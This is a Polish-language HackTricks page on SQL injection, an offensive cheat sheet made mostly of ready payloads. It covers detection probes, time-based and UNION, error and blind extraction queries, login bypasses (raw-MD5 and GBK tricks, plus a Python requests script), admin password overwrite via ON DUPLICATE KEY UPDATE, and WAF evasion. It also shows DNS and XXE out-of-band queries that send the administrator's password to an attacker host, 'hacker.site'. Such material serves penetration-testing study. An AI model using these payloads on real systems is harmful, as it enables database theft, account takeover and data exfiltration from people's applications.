SQL Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

Co to jest SQL injection?

SQL injection to luka w zabezpieczeniach, która pozwala atakującym na ingerencję w zapytania do bazy danych aplikacji. Ta podatność może umożliwić atakującym wyświetlanie, modyfikowanie lub usuwanie danych, do których nie powinni mieć dostępu, w tym informacji o innych użytkownikach lub jakichkolwiek danych, do których aplikacja ma dostęp. Takie działania mogą prowadzić do trwałych zmian w funkcjonalności lub treści aplikacji, a nawet do kompromitacji serwera lub odmowy usługi.

Wykrywanie punktu wejścia

Gdy strona wydaje się być podatna na SQL injection (SQLi) z powodu nietypowych odpowiedzi serwera na dane wejściowe związane z SQLi, pierwszym krokiem jest zrozumienie, jak wstrzyknąć dane do zapytania bez zakłócania go. Wymaga to skutecznego zidentyfikowania metody ucieczki z bieżącego kontekstu. Oto kilka przydatnych przykładów:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Następnie musisz wiedzieć, jak naprawić zapytanie, aby nie było błędów. Aby naprawić zapytanie, możesz wprowadzić dane, aby poprzednie zapytanie zaakceptowało nowe dane, lub możesz po prostu wprowadzić swoje dane i dodać symbol komentarza na końcu.

Zauważ, że jeśli możesz zobaczyć komunikaty o błędach lub dostrzec różnice, gdy zapytanie działa, a gdy nie, ten etap będzie łatwiejszy.

Komentarze

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potwierdzanie za pomocą operacji logicznych

Wiarygodna metoda potwierdzania podatności na SQL injection polega na wykonaniu operacji logicznej i obserwowaniu oczekiwanych wyników. Na przykład, parametr GET taki jak ?username=Peter, który zwraca identyczną treść po modyfikacji na ?username=Peter' or '1'='1, wskazuje na podatność na SQL injection.

Podobnie, zastosowanie operacji matematycznych służy jako skuteczna technika potwierdzająca. Na przykład, jeśli dostęp do ?id=1 i ?id=2-1 daje ten sam wynik, to wskazuje na SQL injection.

Przykłady ilustrujące potwierdzenie operacji logicznej:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ta lista słów została stworzona, aby spróbować potwierdzić SQLinjections w zaproponowany sposób:

Potwierdzanie z użyciem czasu

W niektórych przypadkach nie zauważysz żadnej zmiany na stronie, którą testujesz. Dlatego dobrym sposobem na odkrycie ślepych SQL injections jest zmuszenie bazy danych do wykonania działań, które będą miały wpływ na czas ładowania strony. Dlatego w zapytaniu SQL dodamy operację, która zajmie dużo czasu na zakończenie:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

W niektórych przypadkach funkcje sleep nie będą dozwolone. Wtedy, zamiast używać tych funkcji, możesz sprawić, że zapytanie wykona złożone operacje, które zajmą kilka sekund. Przykłady tych technik będą komentowane osobno dla każdej technologii (jeśli takie będą).

Identyfikacja Back-endu

Najlepszym sposobem na identyfikację back-endu jest próba wykonania funkcji różnych back-endów. Możesz użyć funkcji sleep z poprzedniej sekcji lub tych (tabela z payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Również, jeśli masz dostęp do wyniku zapytania, możesz wydrukować wersję bazy danych.

W kontynuacji omówimy różne metody wykorzystania różnych rodzajów SQL Injection. Użyjemy MySQL jako przykładu.

Identyfikacja z PortSwigger

Wykorzystywanie oparte na Union

Wykrywanie liczby kolumn

Jeśli możesz zobaczyć wynik zapytania, to jest to najlepszy sposób na jego wykorzystanie. Przede wszystkim musimy ustalić liczbę kolumn, które początkowe zapytanie zwraca. Dzieje się tak, ponieważ oba zapytania muszą zwracać tę samą liczbę kolumn. Do tego celu zazwyczaj stosuje się dwie metody:

Order/Group by

Aby określić liczbę kolumn w zapytaniu, stopniowo dostosowuj liczbę używaną w klauzulach ORDER BY lub GROUP BY, aż otrzymasz fałszywą odpowiedź. Mimo że GROUP BY i ORDER BY mają różne funkcjonalności w SQL, obie mogą być wykorzystywane w ten sam sposób do ustalenia liczby kolumn w zapytaniu.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Wybierz coraz więcej wartości null, aż zapytanie będzie poprawne:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

You should use nullvalues as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.

Wyciąganie nazw baz danych, nazw tabel i nazw kolumn

W następnych przykładach zamierzamy pobrać nazwę wszystkich baz danych, nazwę tabeli w bazie danych, nazwy kolumn tabeli:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Każda baza danych ma inny sposób odkrywania tych danych, ale metodologia zawsze jest ta sama.

Wykorzystywanie ukrytej injekcji opartej na unii

Gdy wynik zapytania jest widoczny, ale injekcja oparta na unii wydaje się nieosiągalna, oznacza to obecność ukrytej injekcji opartej na unii. Taki scenariusz często prowadzi do sytuacji z niewidoczną injekcją. Aby przekształcić niewidoczną injekcję w injekcję opartą na unii, należy rozpoznać zapytanie wykonawcze na zapleczu.

Można to osiągnąć poprzez zastosowanie technik niewidocznej injekcji wraz z domyślnymi tabelami specyficznymi dla twojego systemu zarządzania bazą danych (DBMS). Aby zrozumieć te domyślne tabele, zaleca się zapoznanie z dokumentacją docelowego DBMS.

Gdy zapytanie zostanie wyodrębnione, konieczne jest dostosowanie ładunku, aby bezpiecznie zamknąć oryginalne zapytanie. Następnie do twojego ładunku dodawane jest zapytanie unii, co ułatwia wykorzystanie nowo dostępnej injekcji opartej na unii.

Aby uzyskać bardziej szczegółowe informacje, zapoznaj się z pełnym artykułem dostępnym pod adresem Healing Blind Injections.

Wykorzystywanie opartej na błędach

Jeśli z jakiegoś powodu nie możesz zobaczyć wyniku zapytania, ale możesz widzieć komunikaty o błędach, możesz wykorzystać te komunikaty o błędach do ekstrahowania danych z bazy danych. Podążając podobnym tokiem jak w przypadku wykorzystania opartej na unii, możesz zdołać zrzucić bazę danych.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Wykorzystywanie Blind SQLi

W tym przypadku nie możesz zobaczyć wyników zapytania ani błędów, ale możesz rozróżnić, kiedy zapytanie zwraca odpowiedź prawda lub fałsz, ponieważ na stronie są różne treści. W tym przypadku możesz wykorzystać to zachowanie, aby zrzucić bazę danych znak po znaku:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Wykorzystywanie Error Blind SQLi

To jest ten sam przypadek co wcześniej, ale zamiast rozróżniać odpowiedź prawda/fałsz z zapytania, możesz rozróżniać między błędem w zapytaniu SQL a jego brakiem (może dlatego, że serwer HTTP się zawiesza). Dlatego w tym przypadku możesz wymusić błąd SQL za każdym razem, gdy poprawnie zgadniesz znak:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Wykorzystywanie SQLi opartych na czasie

W tym przypadku nie ma sposobu na rozróżnienie odpowiedzi zapytania w oparciu o kontekst strony. Jednak możesz sprawić, że strona będzie się ładować dłużej, jeśli zgadnięty znak jest poprawny. Już wcześniej widzieliśmy tę technikę w użyciu, aby potwierdzić lukę SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Możesz użyć stacked queries, aby wykonać wiele zapytań z rzędu. Zauważ, że podczas gdy kolejne zapytania są wykonywane, wyniki nie są zwracane do aplikacji. Dlatego ta technika jest głównie użyteczna w odniesieniu do blind vulnerabilities, gdzie możesz użyć drugiego zapytania do wywołania zapytania DNS, błędu warunkowego lub opóźnienia czasowego.

Oracle nie obsługuje stacked queries. MySQL, Microsoft i PostgreSQL je obsługują: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Jeśli żaden inny sposób eksploatacji nie zadziałał, możesz spróbować sprawić, aby baza danych ex-filtruje informacje do zewnętrznego hosta kontrolowanego przez Ciebie. Na przykład, za pomocą zapytań DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Ekstrakcja danych poza pasmem za pomocą XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatyzowane Wykorzystanie

Sprawdź SQLMap Cheatsheet, aby wykorzystać lukę SQLi za pomocą sqlmap.

Informacje specyficzne dla technologii

Omówiliśmy już wszystkie sposoby wykorzystania luki w SQL Injection. Znajdź więcej sztuczek zależnych od technologii bazy danych w tej książce:

Lub znajdziesz wiele sztuczek dotyczących: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z technologii i cyberbezpieczeństwa w każdej dziedzinie.

Ominięcie uwierzytelniania

Lista do próby ominięcia funkcji logowania:

Ominięcie uwierzytelniania za pomocą surowego hasha

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

To zapytanie pokazuje lukę, gdy MD5 jest używane z wartością true dla surowego wyjścia w kontrolach uwierzytelniania, co sprawia, że system jest podatny na SQL injection. Napastnicy mogą to wykorzystać, tworząc dane wejściowe, które, po zhashowaniu, generują nieoczekiwane części poleceń SQL, prowadząc do nieautoryzowanego dostępu.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Ominięcie uwierzytelniania za pomocą wstrzykniętego hasha

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Zalecana lista:

Powinieneś używać jako nazwy użytkownika każdej linii z listy, a jako hasła zawsze: Pass1234. &#xNAN;(Te ładunki są również zawarte w dużej liście wspomnianej na początku tej sekcji)

GBK Ominięcie uwierzytelniania

JEŚLI ' jest escapowane, możesz użyć %A8%27, a gdy ' zostanie escapowane, zostanie utworzone: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Skrypt Pythona:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Wstrzykiwanie poliglotowe (wielokontekstowe)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Zmiana hasła istniejącego obiektu/użytkownika

Aby to zrobić, powinieneś spróbować utworzyć nowy obiekt nazwany "obiektem głównym" (prawdopodobnie admin w przypadku użytkowników) modyfikując coś:

Utwórz użytkownika o nazwie: AdMIn (wielkie i małe litery)
Utwórz użytkownika o nazwie: admin=
Atak Truncation SQL (gdy istnieje jakiś limit długości w nazwie użytkownika lub e-mailu) --> Utwórz użytkownika o nazwie: admin [dużo spacji] a

Atak Truncation SQL

Jeśli baza danych jest podatna, a maksymalna liczba znaków dla nazwy użytkownika wynosi na przykład 30 i chcesz podszyć się pod użytkownika admin, spróbuj utworzyć nazwę użytkownika: "admin [30 spacji] a" i dowolne hasło.

Baza danych sprawdzi, czy wprowadzona nazwa użytkownika istnieje w bazie danych. Jeśli nie, przetnie nazwę użytkownika do maksymalnej dozwolonej liczby znaków (w tym przypadku do: "admin [25 spacji]") i automatycznie usunie wszystkie spacje na końcu, aktualizując w bazie danych użytkownika "admin" z nowym hasłem (może pojawić się jakiś błąd, ale to nie oznacza, że to nie zadziałało).

Więcej informacji: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Uwaga: Ten atak nie będzie już działał tak, jak opisano powyżej w najnowszych instalacjach MySQL. Chociaż porównania nadal ignorują białe znaki na końcu domyślnie, próba wstawienia ciągu, który jest dłuższy niż długość pola, spowoduje błąd, a wstawienie nie powiedzie się. Więcej informacji na ten temat: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Dodaj tyle ','','', ile uważasz, aby zakończyć instrukcję VALUES. Jeśli opóźnienie zostanie wykonane, masz SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE w MySQL jest wykorzystywana do określenia działań, które baza danych ma podjąć, gdy próba wstawienia wiersza spowoduje duplikat wartości w unikalnym indeksie lub kluczu głównym. Poniższy przykład demonstruje, jak ta funkcja może być wykorzystana do zmiany hasła konta administratora:

Example Payload Injection:

Ładunek iniekcji może być skonstruowany w następujący sposób, gdzie próbuje się wstawić dwa wiersze do tabeli users. Pierwszy wiersz jest wabikiem, a drugi wiersz celuje w istniejący adres e-mail administratora z zamiarem zaktualizowania hasła:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Oto jak to działa:

Zapytanie próbuje wstawić dwa wiersze: jeden dla generic_user@example.com i drugi dla admin_generic@example.com.
Jeśli wiersz dla admin_generic@example.com już istnieje, klauzula ON DUPLICATE KEY UPDATE uruchamia się, instruując MySQL do zaktualizowania pola password istniejącego wiersza na "bcrypt_hash_of_newpassword".
W konsekwencji, można następnie spróbować uwierzytelnić się za pomocą admin_generic@example.com z hasłem odpowiadającym haszowi bcrypt ("bcrypt_hash_of_newpassword" reprezentuje hasz bcrypt nowego hasła, który powinien być zastąpiony rzeczywistym haszem pożądanego hasła).

Ekstrakcja informacji

Tworzenie 2 kont jednocześnie

Podczas próby utworzenia nowego użytkownika potrzebne są nazwa użytkownika, hasło i e-mail:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Używanie dziesiętnego lub szesnastkowego

Z tą techniką możesz wyodrębnić informacje, tworząc tylko 1 konto. Ważne jest, aby zauważyć, że nie musisz nic komentować.

Używając hex2dec i substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Aby uzyskać tekst, możesz użyć:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Używając hex i replace (oraz substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection to sytuacja, w której zapytanie, które można wstrzyknąć, nie jest tym, które daje wynik, ale wynik zapytania, które można wstrzyknąć, trafia do zapytania, które daje wynik. (Z dokumentu)

Przykład:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - obejście za pomocą alternatyw białych znaków

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - obejście za pomocą komentarzy

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - obejście za pomocą nawiasów

?id=(1)and(1)=(1)--

No commas bypass

No Comma - obejście za pomocą OFFSET, FROM i JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Czarna lista używająca słów kluczowych - obejście za pomocą wielkich/małych liter

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist używając słów kluczowych bez uwzględniania wielkości liter - obejście za pomocą operatora równoważnego

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Obejście WAF za pomocą notacji naukowej

Możesz znaleźć bardziej szczegółowe wyjaśnienie tego triku na blogu gosecure. W zasadzie możesz użyć notacji naukowej w nieoczekiwany sposób, aby obejść WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Przede wszystkim zauważ, że jeśli oryginalne zapytanie i tabela, z której chcesz wyodrębnić flagę, mają tę samą liczbę kolumn, możesz po prostu użyć: 0 UNION SELECT * FROM flag

Możliwe jest uzyskanie dostępu do trzeciej kolumny tabeli bez użycia jej nazwy za pomocą zapytania takiego jak: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, więc w przypadku sqlinjection wyglądałoby to tak:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Lub używając comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ten trik został zaczerpnięty z https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Narzędzia do omijania WAF

Inne przewodniki

Lista wykrywania Brute-Force

Wsparcie dla HackTricks

Sprawdź plany subskrypcyjne!
Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

PreviousServer Side Inclusion/Edge Side Inclusion Injection NextMS Access SQL Injection

Last updated 6 days ago